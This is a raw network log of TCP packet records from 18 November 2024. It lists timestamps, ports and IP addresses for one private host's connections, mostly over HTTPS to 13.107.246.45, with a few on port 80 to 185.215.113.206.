Nov 18, 2024 08:55:33.223226070 CET	49800	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:33.223258018 CET	443	49800	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:33.223409891 CET	49800	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:33.223531008 CET	49800	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:33.223537922 CET	443	49800	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:33.280009031 CET	49778	443	192.168.2.7	142.250.184.196
Nov 18, 2024 08:55:33.290869951 CET	443	49795	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:33.290967941 CET	443	49795	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:33.291024923 CET	49795	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:33.291271925 CET	49795	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:33.291286945 CET	443	49795	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:33.291317940 CET	49795	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:33.291323900 CET	443	49795	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:33.294631958 CET	49801	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:33.294668913 CET	443	49801	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:33.295030117 CET	49801	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:33.295030117 CET	49801	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:33.295084000 CET	443	49801	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:33.296668053 CET	49789	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:33.301532030 CET	80	49789	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:33.422420979 CET	443	49793	184.28.90.27	192.168.2.7
Nov 18, 2024 08:55:33.422585011 CET	443	49793	184.28.90.27	192.168.2.7
Nov 18, 2024 08:55:33.423088074 CET	49793	443	192.168.2.7	184.28.90.27
Nov 18, 2024 08:55:33.423424959 CET	49793	443	192.168.2.7	184.28.90.27
Nov 18, 2024 08:55:33.423424959 CET	49793	443	192.168.2.7	184.28.90.27
Nov 18, 2024 08:55:33.423441887 CET	443	49793	184.28.90.27	192.168.2.7
Nov 18, 2024 08:55:33.423446894 CET	443	49793	184.28.90.27	192.168.2.7
Nov 18, 2024 08:55:33.873538971 CET	443	49798	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:33.879995108 CET	49798	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:33.880031109 CET	443	49798	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:33.883342028 CET	49798	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:33.883352041 CET	443	49798	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:33.889996052 CET	443	49797	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:33.899919987 CET	49797	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:33.899940014 CET	443	49797	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:33.905553102 CET	49797	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:33.905565023 CET	443	49797	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:33.917268991 CET	443	49799	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:33.924679995 CET	49799	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:33.924694061 CET	443	49799	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:33.932118893 CET	49799	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:33.932128906 CET	443	49799	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:33.971281052 CET	443	49800	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:33.977161884 CET	49800	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:33.977174997 CET	443	49800	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:33.981240988 CET	49800	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:33.981250048 CET	443	49800	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:34.003515005 CET	443	49796	4.245.163.56	192.168.2.7
Nov 18, 2024 08:55:34.003890991 CET	49796	443	192.168.2.7	4.245.163.56
Nov 18, 2024 08:55:34.006545067 CET	443	49798	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:34.006732941 CET	443	49798	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:34.006865978 CET	49798	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:34.012995005 CET	49796	443	192.168.2.7	4.245.163.56
Nov 18, 2024 08:55:34.013012886 CET	443	49796	4.245.163.56	192.168.2.7
Nov 18, 2024 08:55:34.013298035 CET	443	49796	4.245.163.56	192.168.2.7
Nov 18, 2024 08:55:34.013452053 CET	49798	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:34.013463020 CET	443	49798	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:34.013514042 CET	49798	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:34.013520002 CET	443	49798	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:34.032679081 CET	443	49797	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:34.032814026 CET	443	49797	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:34.032881021 CET	49797	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:34.034967899 CET	443	49801	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:34.056474924 CET	49796	443	192.168.2.7	4.245.163.56
Nov 18, 2024 08:55:34.059743881 CET	443	49799	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:34.059813023 CET	443	49799	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:34.059932947 CET	49799	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:34.071151972 CET	49797	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:34.071177006 CET	443	49797	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:34.071191072 CET	49797	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:34.071197033 CET	443	49797	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:34.079448938 CET	80	49789	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:34.083957911 CET	49789	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:34.087713003 CET	49801	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:34.109229088 CET	443	49800	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:34.123064995 CET	443	49800	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:34.123972893 CET	49800	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:34.148616076 CET	49801	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:34.148627996 CET	443	49801	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:34.149297953 CET	49801	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:34.149303913 CET	443	49801	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:34.149703026 CET	49799	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:34.149724007 CET	443	49799	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:34.236351967 CET	49800	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:34.236375093 CET	443	49800	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:34.236479044 CET	49800	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:34.236486912 CET	443	49800	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:34.276627064 CET	443	49801	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:34.276700974 CET	443	49801	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:34.276813030 CET	49801	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:34.536732912 CET	49801	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:34.536760092 CET	443	49801	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:34.536777020 CET	49801	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:34.536783934 CET	443	49801	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:34.551460981 CET	49802	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:34.551503897 CET	443	49802	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:34.551716089 CET	49802	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:34.590297937 CET	49802	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:34.590315104 CET	443	49802	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:34.759614944 CET	49677	443	192.168.2.7	20.50.201.200
Nov 18, 2024 08:55:34.853487968 CET	49803	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:34.853539944 CET	443	49803	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:34.853617907 CET	49803	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:34.856935978 CET	49804	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:34.856977940 CET	443	49804	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:34.857028961 CET	49804	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:34.873831034 CET	49803	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:34.873852015 CET	443	49803	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:34.875358105 CET	49805	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:34.875427008 CET	443	49805	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:34.875495911 CET	49805	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:34.875644922 CET	49805	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:34.875670910 CET	443	49805	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:34.876967907 CET	49804	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:34.876986980 CET	443	49804	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:34.877753019 CET	49806	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:34.877783060 CET	443	49806	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:34.877863884 CET	49806	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:34.878031015 CET	49806	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:34.878043890 CET	443	49806	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:35.322557926 CET	443	49802	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:35.323343992 CET	49802	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:35.323359966 CET	443	49802	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:35.323826075 CET	49802	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:35.323836088 CET	443	49802	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:35.587574005 CET	49796	443	192.168.2.7	4.245.163.56
Nov 18, 2024 08:55:35.610416889 CET	443	49805	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:35.612270117 CET	443	49806	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:35.616542101 CET	443	49804	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:35.619725943 CET	443	49803	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:35.635333061 CET	443	49796	4.245.163.56	192.168.2.7
Nov 18, 2024 08:55:35.639482975 CET	49805	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:35.639497995 CET	443	49805	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:35.640012980 CET	49805	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:35.640018940 CET	443	49805	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:35.640629053 CET	49806	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:35.640659094 CET	443	49806	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:35.640786886 CET	49806	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:35.640793085 CET	443	49806	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:35.641755104 CET	49804	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:35.641773939 CET	443	49804	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:35.642498016 CET	49804	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:35.642507076 CET	443	49804	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:35.642596006 CET	49803	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:35.642608881 CET	443	49803	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:35.643186092 CET	49803	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:35.643193007 CET	443	49803	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:35.682286024 CET	443	49802	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:35.682514906 CET	443	49802	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:35.682578087 CET	49802	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:35.721149921 CET	49802	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:35.721149921 CET	49802	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:35.721170902 CET	443	49802	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:35.721200943 CET	443	49802	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:35.766381979 CET	443	49805	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:35.766458988 CET	443	49805	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:35.766634941 CET	49805	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:35.767178059 CET	443	49806	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:35.767282963 CET	443	49806	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:35.767332077 CET	49806	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:35.770226002 CET	443	49804	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:35.770380020 CET	443	49804	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:35.770426035 CET	49804	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:35.775202990 CET	443	49803	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:35.775397062 CET	443	49803	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:35.775530100 CET	49803	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:35.842554092 CET	49805	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:35.842596054 CET	443	49805	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:35.842648983 CET	49805	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:35.842664957 CET	443	49805	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:35.844868898 CET	49806	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:35.844868898 CET	49806	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:35.844892979 CET	443	49806	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:35.844902992 CET	443	49806	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:35.845237017 CET	49804	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:35.845243931 CET	443	49804	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:35.845276117 CET	49804	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:35.845282078 CET	443	49804	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:35.852540016 CET	49803	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:35.852564096 CET	443	49803	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:35.879437923 CET	49808	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:35.879463911 CET	443	49808	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:35.879561901 CET	49808	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:35.924000025 CET	49808	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:35.924020052 CET	443	49808	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:35.946082115 CET	49809	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:35.946134090 CET	443	49809	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:35.946418047 CET	49809	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:35.946418047 CET	49809	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:35.946449995 CET	443	49809	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:35.946495056 CET	443	49796	4.245.163.56	192.168.2.7
Nov 18, 2024 08:55:35.946516037 CET	443	49796	4.245.163.56	192.168.2.7
Nov 18, 2024 08:55:35.946526051 CET	443	49796	4.245.163.56	192.168.2.7
Nov 18, 2024 08:55:35.946566105 CET	443	49796	4.245.163.56	192.168.2.7
Nov 18, 2024 08:55:35.946675062 CET	49796	443	192.168.2.7	4.245.163.56
Nov 18, 2024 08:55:35.946675062 CET	49796	443	192.168.2.7	4.245.163.56
Nov 18, 2024 08:55:35.946676970 CET	443	49796	4.245.163.56	192.168.2.7
Nov 18, 2024 08:55:35.946687937 CET	443	49796	4.245.163.56	192.168.2.7
Nov 18, 2024 08:55:35.946721077 CET	443	49796	4.245.163.56	192.168.2.7
Nov 18, 2024 08:55:35.946793079 CET	49796	443	192.168.2.7	4.245.163.56
Nov 18, 2024 08:55:35.946800947 CET	443	49796	4.245.163.56	192.168.2.7
Nov 18, 2024 08:55:35.946851015 CET	49796	443	192.168.2.7	4.245.163.56
Nov 18, 2024 08:55:35.946870089 CET	49796	443	192.168.2.7	4.245.163.56
Nov 18, 2024 08:55:35.948133945 CET	49810	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:35.948157072 CET	443	49810	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:35.949321985 CET	49810	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:35.957562923 CET	49811	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:35.957581043 CET	443	49811	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:35.957788944 CET	49811	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:35.965738058 CET	49810	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:35.965759993 CET	443	49810	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:35.979783058 CET	49811	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:35.979799032 CET	443	49811	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:36.003797054 CET	49812	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:36.003840923 CET	443	49812	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:36.003983974 CET	49812	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:36.004096031 CET	49812	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:36.004108906 CET	443	49812	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:36.049191952 CET	443	49796	4.245.163.56	192.168.2.7
Nov 18, 2024 08:55:36.049237967 CET	443	49796	4.245.163.56	192.168.2.7
Nov 18, 2024 08:55:36.049397945 CET	49796	443	192.168.2.7	4.245.163.56
Nov 18, 2024 08:55:36.658790112 CET	443	49808	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:36.676548958 CET	443	49809	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:36.694771051 CET	443	49810	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:36.706995964 CET	443	49811	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:36.712929010 CET	49808	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:36.720336914 CET	49808	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:36.720350981 CET	443	49808	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:36.720922947 CET	49808	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:36.720928907 CET	443	49808	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:36.722352028 CET	49809	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:36.722362995 CET	443	49809	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:36.722862959 CET	49809	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:36.722870111 CET	443	49809	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:36.740302086 CET	49810	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:36.740310907 CET	443	49810	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:36.743941069 CET	49810	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:36.743947029 CET	443	49810	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:36.749298096 CET	443	49812	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:36.751933098 CET	49812	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:36.751970053 CET	443	49812	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:36.752312899 CET	49812	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:36.752326012 CET	443	49812	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:36.753230095 CET	49811	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:36.753237963 CET	443	49811	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:36.756005049 CET	49811	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:36.756011963 CET	443	49811	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:36.847228050 CET	443	49808	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:36.847259045 CET	443	49808	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:36.847331047 CET	443	49808	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:36.847382069 CET	49808	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:36.847896099 CET	49808	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:36.858283997 CET	443	49809	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:36.866152048 CET	443	49809	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:36.866302013 CET	49809	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:36.870104074 CET	443	49810	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:36.870172024 CET	443	49810	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:36.870498896 CET	49810	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:36.879693985 CET	443	49812	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:36.879725933 CET	443	49812	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:36.879790068 CET	443	49812	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:36.879806042 CET	49812	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:36.879874945 CET	49812	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:36.880481005 CET	443	49811	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:36.880501986 CET	443	49811	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:36.880546093 CET	443	49811	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:36.880604982 CET	49811	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:37.697810888 CET	49808	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:37.697837114 CET	443	49808	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:37.697845936 CET	49808	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:37.697851896 CET	443	49808	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:37.698312044 CET	49811	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:37.698349953 CET	443	49811	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:37.698362112 CET	49811	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:37.698369026 CET	443	49811	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:37.701322079 CET	49809	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:37.701339960 CET	443	49809	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:37.701459885 CET	49809	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:37.701463938 CET	443	49809	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:37.701736927 CET	49810	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:37.701746941 CET	443	49810	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:37.701759100 CET	49810	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:37.701762915 CET	443	49810	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:37.702336073 CET	49812	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:37.702363014 CET	443	49812	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:37.702369928 CET	49812	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:37.702375889 CET	443	49812	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:37.779458046 CET	49815	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:37.779489040 CET	443	49815	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:37.779573917 CET	49815	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:37.801400900 CET	49816	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:37.801436901 CET	443	49816	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:37.801512003 CET	49816	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:37.827342033 CET	49796	443	192.168.2.7	4.245.163.56
Nov 18, 2024 08:55:37.827342033 CET	49796	443	192.168.2.7	4.245.163.56
Nov 18, 2024 08:55:37.827368975 CET	443	49796	4.245.163.56	192.168.2.7
Nov 18, 2024 08:55:37.827383995 CET	443	49796	4.245.163.56	192.168.2.7
Nov 18, 2024 08:55:37.828675985 CET	49817	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:37.828753948 CET	443	49817	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:37.828826904 CET	49817	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:37.831079006 CET	49820	443	192.168.2.7	94.245.104.56
Nov 18, 2024 08:55:37.831085920 CET	443	49820	94.245.104.56	192.168.2.7
Nov 18, 2024 08:55:37.831130981 CET	49820	443	192.168.2.7	94.245.104.56
Nov 18, 2024 08:55:37.844818115 CET	49815	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:37.844844103 CET	443	49815	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:37.936904907 CET	49816	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:37.936930895 CET	443	49816	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:37.950568914 CET	49817	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:37.950603962 CET	443	49817	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:37.987667084 CET	49825	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:37.987709045 CET	443	49825	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:37.987881899 CET	49825	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:38.065917969 CET	49820	443	192.168.2.7	94.245.104.56
Nov 18, 2024 08:55:38.065949917 CET	443	49820	94.245.104.56	192.168.2.7
Nov 18, 2024 08:55:38.068583012 CET	49825	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:38.068608046 CET	443	49825	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:38.079338074 CET	49826	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:38.079370022 CET	443	49826	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:38.079441071 CET	49826	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:38.079602003 CET	49826	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:38.079612017 CET	443	49826	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:38.595355034 CET	443	49815	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:38.637258053 CET	49815	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:38.667195082 CET	443	49817	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:38.672329903 CET	443	49816	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:38.763032913 CET	49816	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:38.763039112 CET	49817	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:38.796890020 CET	443	49825	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:38.815038919 CET	443	49826	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:38.831979036 CET	49826	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:38.832011938 CET	443	49826	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:38.834683895 CET	49826	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:38.834690094 CET	443	49826	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:38.835072994 CET	49815	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:38.835087061 CET	443	49815	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:38.835903883 CET	49815	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:38.835907936 CET	443	49815	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:38.840529919 CET	49817	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:38.840548038 CET	443	49817	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:38.840918064 CET	49817	443	192.168.2.7	13.107.246.45
